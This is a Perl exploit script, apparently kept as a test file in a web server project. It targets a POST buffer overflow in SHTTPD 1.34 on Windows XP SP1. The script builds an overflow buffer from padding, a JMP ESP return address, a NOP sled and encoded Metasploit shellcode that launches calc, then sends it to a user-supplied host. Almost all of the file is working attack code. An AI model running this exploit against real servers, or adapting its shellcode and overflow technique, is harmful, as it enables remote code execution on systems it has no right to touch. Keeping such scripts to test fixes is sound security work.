ceph/src/civetweb/test/exploit.pl

   1 #!/usr/bin/perl -w
   2
   3 #  SHTTPD Buffer Overflow (POST)
   4 #  Tested on SHTTPD 1.34 WinXP SP1 Hebrew
   5 #  http://shttpd.sourceforge.net
   6 #  Codded By SkOd, 05/10/2006
   7 #  ISRAEL
   8 #
   9 #    details:
  10 #    EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
  11 #    EBX 00000004 , EIP 41414141 , EBP 41414141
  12 #    ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
  13 #    ESP 009EFC08 ASCII 41,"AA...AAA"
  14
  15
  16 use IO::Socket;
  17
  18 sub fail(){
  19 syswrite STDOUT, "[-]Connect failed.\n";
  20 exit;
  21 }
  22
  23 sub header()
  24 {
  25 print("##################################\n");
  26 print("SHTTPD (POST) Buffer Overflow.\n");
  27 print("[http://shttpd.sourceforge.net]\n");
  28 print("Codded By SkOd, 05/10/2006\n");
  29 print("##################################\n");
  30 }
  31
  32 if (@ARGV < 1)
  33 {
  34     &header();
  35     print("Usage: Perl shttpd.pl [host]\n");
  36     exit;
  37 }
  38
  39 &header();
  40 $host=$ARGV[0];
  41 $port="80";
  42 $host=~ s/(http:\/\/)//eg;
  43
  44 #win32_exec- CMD=calc Size=160 (metasploit.com)
  45 $shell =
  46 "%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
  47 "%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
  48 "%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
  49 "%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
  50 "%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
  51 "%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
  52 "%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
  53 "%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
  54 "%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
  55
  56
  57 $esp="%73%C3%2A%4F";                 #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
  58 $buff=("%41"x8).$esp.("%90"x85).$shell;        #Shellcode+NOP=245
  59
  60 print length($buff) . "\n";
  61
  62 $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
  63     syswrite STDOUT,"[+]Connected.\n";
  64     print $sock "POST /$buff HTTP/1.1\n";
  65     print $sock "HOST:$host\n\n";
  66     syswrite STDOUT,"[+]Done.\n";
  67 close($sock);
  68
  69 # milw0rm.com [2006-10-05]